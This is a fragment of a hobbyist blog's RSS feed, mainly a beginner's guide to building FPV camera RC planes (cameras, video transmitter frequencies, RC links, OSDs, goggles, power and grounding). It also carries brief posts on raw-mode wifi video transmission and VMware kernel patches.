		<comments>http://www.insecure.ws/2010/01/07/fpv-starting-blocks#comments</comments>
		<pubDate>Thu, 07 Jan 2010 16:41:20 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[FPV]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[rc]]></category>
		<category><![CDATA[rx]]></category>
		<category><![CDATA[tx]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=175</guid>
		<description><![CDATA[Preface I have decided to start experimenting with a new kind of remote control planes (RC planes), those ones carrying a camera and video transmitter, which you control from the ground like a drone. Ideally, with a good HD camera, you can make nice artistic movies of your favorite places (as long as you respect [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Preface</strong></p>
<p>I have decided to start experimenting with a new kind of remote control planes (RC planes), those ones carrying a camera and video transmitter, which you control from the ground like a drone.</p>
<p>Ideally, with a good HD camera, you can make nice artistic movies of your favorite places (as long as you respect the law) from a point of view you couldn&#8217;t have before.</p>
<p>However, FPV, or First Person View remote control require assembling, soldering, and basically building up the whole system by yourself. There are a lot of issues which are very sparsely documented and no real effort has been done to document this half decently.</p>
<p>I&#8217;ll just report what I have done, and how, for anyone to reproduce if they wish to.</p>
<p><span id="more-175"></span></p>
<p><strong>Basics</strong></p>
<p>There are a few components that you will find in a FPV plane:</p>
<p>- The camera(s)</p>
<p>- The video transmitter(s)</p>
<p>- Various sensors (GPS, current, battery, radio signal, and sometimes more)</p>
<p>- Possible control chip, or video interfacing (OSD &#8211; On Screen Display of sensor&#8217;s values), usually both are integrated on the same circuit</p>
<p>- Remote control receiver</p>
<p>- Gyroscope</p>
<p>- Possible head-tracker for pan and tilt camera</p>
<p>- Possible auto-pilot or assisted piloting (called fly-by-wire), associated with infra-red horizon sensors usually</p>
<p><strong>Camera</strong></p>
<p>There are various kind of cameras available. Their resolution is expressed in TVL (Television Lines).</p>
<p>Basically, a 380 to 420 TVL camera brings a VHS-like quality video. It&#8217;s not very good, but its quite decent.</p>
<p>A 480 to 500 TVL camera is nearer to DVD quality. It&#8217;s pretty good. 550 TVL cameras are even better.</p>
<p>There are no better cameras, and they wouldn&#8217;t be useful because we are limited by the way we transmit the video: PAL or NTSC, which are only &#8220;standard resolution&#8221;, and not &#8220;HD&#8221;.</p>
<p>These camera have &#8220;3 wires&#8221;, 1 video, 1 power (+), 1 ground (-) and usually using CCD technology (not CMOS, image is usually bad with vibrations). The one listed usually let you watch the sun without destroying the image too much (so you can fly) and work well in low light conditions.</p>
<p>Here are a few I like:</p>
<p><em>Panasonic CX161</em></p>
<p><em><img class="alignnone" title="cx161" src="http://insecure.ws/wp/wp-content/uploads/HLIC/d04a7634efe78efcceae02049fb26422.jpg" alt="" width="320" height="238" /><br />
</em></p>
<p>A very good little camera. With the proper (plastic!) lens, its pretty lightweight (10 to 14 grams). Only 380 TVL, but a good one for this low resolution!</p>
<p>I can only recommend the excellent vendor <a href="http://www.GolfRaider.com">http://www.GolfRaider.com</a> (you can find their 2.9mm lens+ CX161 on <a href="http://cgi.ebay.com/NEW-Panasonic-GP-CX161-Board-Camera-2.9-Lens-CX-161-FPV_W0QQitemZ250549933325QQcmdZViewItemQQimsxZ20091217?IMSfp=TL091217214005r29176">eBay</a>, if the link is invalid by the time you read this, make a search). This vendor is not only the nicest but also the cheapest!</p>
<p>A pretty good firt buy in any case.</p>
<p><em>Sony SuperHAD 480-520 TVL</em></p>
<p>You will find this camera under various names in various &#8220;FPV shops&#8221;. Its a little heavier than the Panasonic (24-50 grams), and sometimes fitted with a night-vision mode (e.g. &#8220;KX-191&#8243;)</p>
<p><em>Sony SN555</em></p>
<p>This camera also has a few other names, and is basically a SuperHAD with 550TVL. It usually does not have night-vision mode, but weights only 29 grams. It&#8217;s quite expensive also, at least 150 USD, but probably one of the best quality available.</p>
<p><em>HD Cameras</em></p>
<p style="text-align: center;"><em><img class="aligncenter" title="p10" src="http://insecure.ws/wp/wp-content/uploads/HLIC/9f75b83e9bb0a64b20ad4dfc34e3d679.jpg" alt="" width="172" height="270" /><br />
</em></p>
<p>Usually, you have a regular camera <strong>and </strong>a HD camera. Simply because the HD camera cannot retransmit the video to the ground, so it is only used as a recording device.</p>
<p>Some cameras however let you do this. Mine is a Toshiba Camileo P10. The standard resolution &#8220;3 wires&#8221; output is 480 TVL. This is quite decent. The image has black lines on top and bottom due to the 16/9 to 4/3 conversion, and has a white timer in the black line. Not that clean, but it works fine when you don&#8217;t want 2 cameras on-board. Note that HD cameras usually don&#8217;t work that well when pointed to the sun, so don&#8217;t crash <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><em>Recommendation: CX 161 for starters or small planes, HD camera otherwise</em></p>
<p><strong>The video transmitter and receiver<br />
</strong></p>
<p>These transmitters have a power restriction and frequency restriction that depend on where you live.</p>
<p>In short:</p>
<p>- 2.4Ghz up to 10mW is ok anywhere</p>
<p>- 5.8Ghz up to 25mW is ok anywhere</p>
<p>- Most 1.2/1.3Ghz are forbidden in USA (Real planes)</p>
<p>- 900Mhz is forbidden in Europe (GSM)</p>
<p style="text-align: center;"><img class="aligncenter" title="videotx" src="http://www.fpvsystems.com/images/10mW-Aviator-TX.jpg" alt="" width="180" height="318" /></p>
<p>Using a higher power transmitter usually require a HAM (Amateur Radio License &#8211; Technician Class). Most however do not have one and operate them illegally without troubles, just make sure you do not use the forbidden frequencies for your country (those will get you in troubles real quick)</p>
<p>The higher the frequency, the more sensible to obstacles. 2.4Ghz does not go well through walls, tree, rain, and 5.8Ghz even less.</p>
<p>900Mhz transmitter chips are old and usually of bad quality thus even at high power they&#8217;re not always as good as high frequency ones.<br />
1.3Ghz transmitters operate nearby the GPS frequencies, so can diminish their performance or even plainly jam them.</p>
<p>You may not use a video transmitter with the same range of frequencies as your radio transmitter, or they will jam each other, even at 2.4Ghz, the signal will work but be strongly reduced.</p>
<p>As a result, most people use 2.4ghz video transmitters, either 10mW (few hundred meters), or 500mW (long range, few kilometres).  Some people use 5.8Ghz (less interferences since 2.4Ghz is used by many systems), and some 900mhz, since it works with 2.4Ghz radios.</p>
<p>Some also use 1.3Ghz and put the GPS far enough that it doesnt get jamed. 1.3 Ghz systems usually offer the best range due to lower frequency and recent chips.</p>
<p>Finally, some use the 900mhz because they live in the USA, and do not want 2.4Ghz video (have a 2.4Ghz transmitter or too much interferences)</p>
<p>Very good 2.4Ghz transmitters are based on either the Airwave or Lawmate chipsets.</p>
<p>Cheapest 5.8Ghz ones are based on the Airwave chipset (others are 10x the price for the same performance)</p>
<p>1.3Ghz comes from China usually and its better to pay a little premium and use ones selected by &#8220;FPV shops&#8221; instead of getting a bad one. However, these are all coming from the same places thus twice cheaper directly from China/Hong-Kong.</p>
<p><em>Recommendation:  2.4Ghz, 10mW or 500mW. FatShark 10mW if you plan to stay legal, and get video goggles at the same time (see lower, &#8220;Video Goggles&#8221;)<br />
</em></p>
<p><strong>Remote control</strong></p>
<p>Most people simply use their 35Mhz, 41Mhz or 72Mhz RC systems. They&#8217;re relatively cheap, work well, do not interfere with anything  on the plane and have a long range (1-3km).</p>
<p>Some do use their 2.4Ghz systems, which have shorter range and are &#8220;line of sight&#8221; (meaning, it doesnt go through walls and so on). They usually have 1 km range with good Spektrum or Futaba receivers. (Full range ones)</p>
<p>Finally, some use so-called &#8220;LRS&#8221; or Long Range Systems. There are basically 3 &#8220;cheap&#8221; systems currently available that I would look at:</p>
<p>- using a 400+Mhz radio (CB) converted for PPM (RC control signal) use. Cost approx 50 USD, need a lot of soldering skills. Search for &#8220;fmkit&#8221; on <a href="http://www.rcgroups.com">http://www.rcgroups.com</a> for info. Require a transmitter or Wii Nunchuck.</p>
<p>- <a href="http://webx.dk/rc/uhf-link3/uhf-link3.htm">Thomas Scherrer LRS</a>, cost approx 300 USD. Uses frequency hopping, very hard to jam (unlike the above 50 USD solution), pretty well tested design. Require a transmitter with trainer port.</p>
<p>- <a href="http://forum.tsebi.com/viewtopic.php?f=4&amp;t=3&amp;start=80">Dragon Link UHF</a>. Cost approx 350 USD. Similar to above system. Less tested. Claims better performance, better jaming resistance, and uses less bandwidth. Less channels on the receiver. (9 vs 12). Require a transmitter with trainer port.</p>
<p><em>Recommendation:  a 35/41/72Mhz system with a good receiver (eg <a href="http://hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=6498&amp;Product_Name=Corona_Synthesized_Dual-Conv_Receiver_6Ch_35Mhz">Corona Synthesised receiver</a>), upgrade to a LRS later if you wish (it will use your 35/41/72 transmitter anyway!)</em></p>
<p><strong>OSD, Chips, Sensors and friends</strong></p>
<p>There is a huge variety of them. Some provide auto-pilot. Some provide &#8220;return-to-home&#8221; which basically bring your plane back when you lose radio control. Some let you plot your way on Google Earth on your laptop, real time.</p>
<p>These usually need soldering and technical skills. They are not necessary, but recommended.</p>
<p style="text-align: center;"><img class="aligncenter" title="osd" src="http://insecure.ws/wp/wp-content/uploads/HLIC/8558d2e63851c0ab2792a66cbb3f8f00.jpg" alt="" width="288" height="216" /></p>
<p>I&#8217;ll only detail the ones which I found interest into:</p>
<p>- <a href="http://www.happykillmore.com/Software/Faq.asp">Remzibi &#8220;poor man&#8221; OSD:</a> very feature complete, light. parts of it are open sourced. Includes GPS.</p>
<p>- <a href="http://www.flytron.com">SimpleOSD XL</a>: small, quite feature complete. Cheap.</p>
<p>Both are constantly updated. SimpleOSD can relay GPS data to the ground for Google earth plotting and antenna tracking (i&#8217;ll detail this elsewhere). They have fairly customizable on screen display.</p>
<p>They do not provide auto-pilot or return to home, but can with a lot of work and an additional module, Ardupilot, and infra-red sensors, which I won&#8217;t detail as I have no experience with.</p>
<p>- <a href="http://www.eagletreesystems.com">EagleTree</a>, <a href="http://www.immersionsflug.de">ezOSD</a>: support nearly every feature you can think of, including return-to-home, F-16 like display, Google earth plotting, antenna tracking, etc. Not quite as cheap, light and elegant as the above, but certainly good as well.<a href="http://www.immersionsflug.de"></a></p>
<p><em>Recommendation: SimpleOSD if you can solder, ezOSD otherwise.</em></p>
<p><strong>Gyroscope</strong></p>
<p>Video needs to be stable. A stable plane helps, but a gyro on the ailerons helps even more.</p>
<p><a href="http://www.hobbycity.com/hobbycity/store/uh_viewItem.asp?idProduct=4320&amp;Product_Name=BA_Nano_Gyro_2.3gram">Here&#8217;s one</a>. Only put it on the ailerons or your plane will act weird. This stabilize the plane when you give no input.</p>
<p><em>Recommendation: Well, the one listed :p</em></p>
<p><strong>Video goggles</strong></p>
<p style="text-align: center;"><strong><img class="aligncenter" title="goggles" src="http://insecure.ws/wp/wp-content/uploads/HLIC/1c23669548f5ddd184a6033aa7cbf785.jpg" alt="" width="270" height="215" /><br />
</strong></p>
<p>You&#8217;ll be either using a small screen to display what the camera sees either video goggles. In both cases just make sure you can isolate from the sun light easily.</p>
<p>For the screen, anything goes as long as you can plug the video in (TV screens usually).</p>
<p>For goggles, good choices are <a href="http://www.google.de/url?q=http://www.gowiththeshark.com/&amp;ei=-wNGS8neGImpsQb04KW7Aw&amp;sa=X&amp;oi=spellmeleon_result&amp;resnum=1&amp;ct=result&amp;ved=0CAcQhgIwAA&amp;usg=AFQjCNH7KbtlQNn35GavVioiI3NdyLjbkg">FatSharks </a>(includes 2.4Ghz video receivers and transmitter usually), Rvision/R520/other name (goggles only, cheaper than FatSharks), or <a href="http://www.headplay.com/">HeadPlay Visors</a>.</p>
<p>The headplay&#8217;s have a higher resolution and thus the image is  a lot better. However they&#8217;re fragile and expensive.</p>
<p><em>Recommendation: FatSharks or HeadPlay if you&#8217;re rich and careful. But really, FatSharks in most cases.</em></p>
<p><strong>Head Tracker</strong><em> </em></p>
<p>Some use a head tracker to move the camera on the plane (pan and tilt). This require additional servos, weight, equipment so many do not use it. It does not especially add a lot to the table and is optional.</p>
<p>A good one is the <a href="http://www.flytron.com">Flytron</a> DT-3K. I do not use any head tracker. Once again, FatSharks have an option including pan&amp;tilt camera and servos (attention: its a CMOS 420TVL camera. It&#8217;s good enough to fly and have fun, but not very good compared to other cameras listed!)</p>
<p><strong>Power supply, voltages, current, linking it together</strong></p>
<p>Well, this is an important one. Are you gonna use a separate battery? Which capacity? What is compatible with what?</p>
<p>These are the questions I will try to answer.</p>
<p><em>Voltage:</em></p>
<p>A simple way of doing things, is having the OSD/boards, camera, and video transmitters having the same voltage. This way, all 3 can use the same power supply. Usually its 5.5 volts or 12 volts. So make sure your equipment accept the same voltage.</p>
<p><em>Current:</em></p>
<p>Once you have selected the equipement, check their average current consumption (in mA) and add it up. A typical system might consume between 250 mA and 1A (sometimes more).</p>
<p><em>Battery capacity and voltage:</em></p>
<p>If your system is 5.5 volts, on a super light plane, you might consider a 1 cell Lipo battery. They deliver only 3.7 volts, so you will need a &#8220;booster&#8221; or regulator. A good idea is to use a LED driver that deliver a stable filtered current. You need soldering skills once again.  Another possibility is to use a regulator, like the <a href="http://www.dimensionengineering.com/AnyVoltMicro.htm">Dimension Engineering micro regulator any-volt</a>. Careful tho, any-volt provides 500mA max output current. LED drivers provide usually up to 1A and are cheap.</p>
<p>Another solution, is to do&#8230; exactly the same, with a 2 cells Lipo (7.4 volts). This time, the voltage will be reduced.</p>
<p>Finally, for 12 volts systems, you may use a 3 cells or 4 cells lipo battery (11.1 volts and 14.8 volts), sometimes even directly without regulator (for the 4 cells especially since when voltage is low it will still be above 12 volts). Just make sure this wont burn your equipement.</p>
<p>Otherwise, once again, you&#8217;ve to add your voltage regulator.</p>
<p>Let&#8217;s say your equipment uses 500mA. Battery capacity is measured in mAh (milli-amperes per hour), so a 500 mAh battery will last 1 hour in this case. a 250 mAh battery will last 30mins. And so on. Just make sure your battery lasts more than a complete flight, by at least 25%.</p>
<p><em>Grounding:</em></p>
<p>You might get nasty lines or stripes in the video output. This is often due to bad grounding. Usually, you must &#8220;<a href="http://www.aikenamps.com/StarGround.html">star ground</a>&#8221; your equipment, and at least the camera. Basically, each ground (-) goes to a single, unique soldering location directly (without going through any other wire).</p>
<p>In other cases, you might have to shield your equipment a bit, by twisting wires or adding ferrites (small metal rings, you twist the wires around them to eliminate noise)</p>
<p><em>Linking and location of the various elements:</em></p>
<p>Use shielded, but thin wires. Replace plugs by servo plugs, or dean plugs. This will make your equipment lighter and easier to deal with. (All this require soldering skills).</p>
<p>Put the RC receiver far from the video transmitter. Put the OSD and GPS, far from the video transmitter as well. Put the electric motor&#8217;s electronic speed control (ESC) far from everything <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Make sure your antennas extend properly. Range check on the ground. Change the placement if its not good enough. Repeat as many times as necessary, if you don&#8217;t want to crash your plane at first flight <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p><em>Using a single battery:</em></p>
<p>It&#8217;s tempting to use the same battery for the motor RC control, and the video.</p>
<p>If thats the case, use a large enough battery to supply the motor in addition to the other elements. Make sure you have an OSD informing you of the voltage, so that you dont lose motor, RC control and video at the same time. Having a low voltage cut-off (LVC) on the speed controller (ESC) helps, as you will keep the video and control. Make sure its set to a high enough voltage! Once again, test on the ground first.</p>
<p>When you apply power on the motor, it will draw a lot of current, and your video will have stripes or display un-properly. To avoid this, buy a RL filter, or a LED driver that you put between your FPV equipment and the battery (or at least, behind the camera)</p>
<p><strong>Conclusion</strong></p>
<p>I hope these infos can help someone to get started. I&#8217;ll post in more details, my &#8220;micro FPV&#8221; system and &#8220;regular HD FPV&#8221; system in future posts, if all goes well <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Ideally, one could make a computer controlled with &#8220;via Internet&#8221; user control aicraft. A similar system exists and has been presented recently, the <a href="http://www.google.com/url?sa=t&amp;source=web&amp;ct=res&amp;cd=3&amp;ved=0CBAQFjAC&amp;url=http%3A%2F%2Fwww.parrot.com%2F&amp;ei=PA1GS9fZMY_7_AaG8_2PAg&amp;usg=AFQjCNELg_rv2_Tam_pj9NSTdRqnFDzbyw&amp;sig2=yatlgobngDhzbh3h308tGA">AR.Drone</a>. Basically, this thing flies itself using infra-red sensors, and a user can tell it to go left or right or up or down. But this is no direct control, it&#8217;s really just being flown by the on board computer <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>A mix of computer controlled and user controlled aircraft would ensure stability and security (of both the model and the people or environment around it). This is partially implemented in the OSD including  &#8220;fly-by-wire&#8221; and &#8220;return-to-home&#8221; functionality.</p>
<p><em>Other links:</em></p>
<p>http://www.dpcav.com/ (Video RX/TX)</p>
<p>http://www.futurehobbies.com/ (Not really recommended due to poor communication an delays, but only place to get Headplays outside Europe)</p>
<p>http://www.nghobbies.com/ (various)</p>
<p>http://www.rangevideo.com/ (various)</p>
<p>http://www.flytron.com/ (various electronics)</p>
<p>http://alai.h3m.com/~s0350672/catalogo/ (various, located in Europe)</p>
<p>http://www.fpv-community.com/ (forum)</p>
<p>http://www.rcgroups.com/ (forum)</p>
<p>there&#8217;s probably many others.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/01/07/fpv-starting-blocks/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>A little jump in the wifi world, or the 30EUR long range HD video transmission</title>
		<link>http://www.insecure.ws/2009/12/17/a-little-jump-in-the-wifi-world-or-the-30eur-long-range-hd-video-transmission</link>
		<comments>http://www.insecure.ws/2009/12/17/a-little-jump-in-the-wifi-world-or-the-30eur-long-range-hd-video-transmission#comments</comments>
		<pubDate>Wed, 16 Dec 2009 23:10:48 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[FPV]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[CCK]]></category>
		<category><![CDATA[COFDM]]></category>
		<category><![CDATA[HD]]></category>
		<category><![CDATA[long range]]></category>
		<category><![CDATA[OFDM]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[x264]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=244</guid>
		<description><![CDATA[6 month ago or so, I thought the easiest and quickest way to realize a cheap and decent quality digital video link was to use the widely available wifi chipsets. Of course, using wifi does not mean using the wifi protocol. The idea here, is to setup the chipsets into raw mode and push our [...]]]></description>
			<content:encoded><![CDATA[<p>6 month ago or so, I thought the easiest and quickest way to realize a cheap and decent quality digital video link was to use the widely available wifi chipsets.</p>
<p>Of course, using wifi does not mean using the wifi protocol. The idea here, is to setup the chipsets into raw mode and push our own protocol over.</p>
<p>Not only this allow one to have a much higher throughput (nearly the full link&#8217;s speed, so 50Mbits at 54Mbit sync is achievable), but also a much higher point-to-point reliability for video and audio protocols.</p>
<p>ACK (acknowledgement) packets are not necessary, and the whole stack of protocols overhead is anyway gone, including IP.</p>
<p><strong>The idea</strong></p>
<p>You can easily do this using wifi driver&#8217;s injection support in Linux. A very well known chipset for this is the 8187L from Realtek, it even support diversity.<br />
That&#8217;s very fine on the transmitter side, but unfortunately does not live up to either hype or specs on the receiver side. Instead, after extensive testing I have found the Ralink 2870 to be nearly matching it&#8217;s sensitivity specs, which gives twice the range the Realtek could provide.</p>
<p>With simple 5dbi antennas, at 100mW I&#8217;m easily getting a signal behind a few 10 stories buildings and a few hundred meters. The equivalent regular wifi signal is long gone at this range.</p>
<p>Using a small yagi antenna on the receiving side and no objects in the way, I&#8217;m getting the excellent range of 20 km in the air while retaining enough bandwidth for a HD video signal.</p>
<p><strong>Software</strong></p>
<p>On the software side, regular data can be transmitted, however it&#8217;s a lot better for audio of video where frames can be transmitted with errors and often display fine or have noticeable artifacts.<br />
Fortunately, most wifi drivers actualy let you turn off CRC checks do not discard incorrect frames.<br />
Usage of x264 in ultra low latency mode is recommended.</p>
<p>Unfortunately, the chipsets usually accept packets that look like wifi packets, so we retain overhead of a few bytes to make packets appear as NULL DATA wifi packets. All the information fields (MAC address, etc) are overwritten by our own protocol data.</p>
<p>Libraries to achieve this are osdep from the excellent <a href="http://www.aircrack-ng.org">Aircrack-ng</a> project, the other <a href="http://802.11ninja.net/lorcon/">Lorcon</a> from a Kismet programmer.</p>
<p>I have been using osdep as it was a lot more simple to hack through, although Lorcon seems more polished and solves a few issues that I had to work around manually in osdep.</p>
<p><strong>Source code</strong></p>
<p>Soon enough <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2009/12/17/a-little-jump-in-the-wifi-world-or-the-30eur-long-range-hd-video-transmission/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>vmware-specific-specific 5.5.x and kernel 2.6.32</title>
		<link>http://www.insecure.ws/2009/12/04/vmware-specific-specific-5-5-x-and-kernel-2-6-32</link>
		<comments>http://www.insecure.ws/2009/12/04/vmware-specific-specific-5-5-x-and-kernel-2-6-32#comments</comments>
		<pubDate>Fri, 04 Dec 2009 14:30:35 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[2.6.32]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=173</guid>
		<description><![CDATA[Just a small fix to the previous patch was necessary for this one to work. Remember that you do need to patch your kernel for this to work properly. See the README inside the archive. vmware-update-2.6.32-5.5.9.tar.bz2 Edit: there is a more complete patch here for vmware server 2.0.2, i haven&#8217;t tested it.]]></description>
			<content:encoded><![CDATA[<p><img class="size-thumbnail wp-image-96 alignnone" title="vmware" src="http://insecure.ws/wp/wp-content/uploads/2008/07/vmware-150x150.jpg" alt="vmware startup" width="150" height="150" /></p>
<p>Just a small fix to the previous patch was necessary for this one to work.</p>
<p>Remember that you do need to patch your kernel for this to work properly.</p>
<p>See the README inside the archive.</p>
<p><a href="http://www.insecure.ws/warehouse/vmware-update-2.6.32-5.5.9.tar.bz2">vmware-update-2.6.32-5.5.9.tar.bz2</a></p>
<p><em>Edit: there is a more complete patch <a href="http://risesecurity.org/2010/01/10/vmware-server-2-0-2-update-patch/">here</a> for vmware server 2.0.2, i haven&#8217;t tested it.<br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2009/12/04/vmware-specific-specific-5-5-x-and-kernel-2-6-32/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>vmware-specific-specific 5.5.x and kernel 2.6.31</title>
		<link>http://www.insecure.ws/2009/09/11/vmware-specific-specific-5-5-x-and-kernel-2-6-31</link>
		<comments>http://www.insecure.ws/2009/09/11/vmware-specific-specific-5-5-x-and-kernel-2-6-31#comments</comments>
		<pubDate>Fri, 11 Sep 2009 16:31:20 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[vmware]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=170</guid>
		<description><![CDATA[Another kernel and another patch, this one fixes issues with vmnet and net_device_ops compat mode being removed. Have fun. vmware-update-2.6.31-5.5.9.tar.bz2]]></description>
			<content:encoded><![CDATA[<div class="mceTemp">
<dl id="attachment_96" class="wp-caption alignnone" style="width: 160px;">
<dt class="wp-caption-dt"><img class="size-thumbnail wp-image-96" title="vmware" src="http://insecure.ws/wp/wp-content/uploads/2008/07/vmware-150x150.jpg" alt="vmware startup" width="150" height="150" /></dt>
</dl>
</div>
<p>Another kernel and another patch, this one fixes issues with vmnet and net_device_ops compat mode being removed. Have fun.</p>
<p><a href="http://www.insecure.ws/warehouse/vmware-update-2.6.31-5.5.9.tar.bz2">vmware-update-2.6.31-5.5.9.tar.bz2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2009/09/11/vmware-specific-specific-5-5-x-and-kernel-2-6-31/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
	</channel>
</rss>
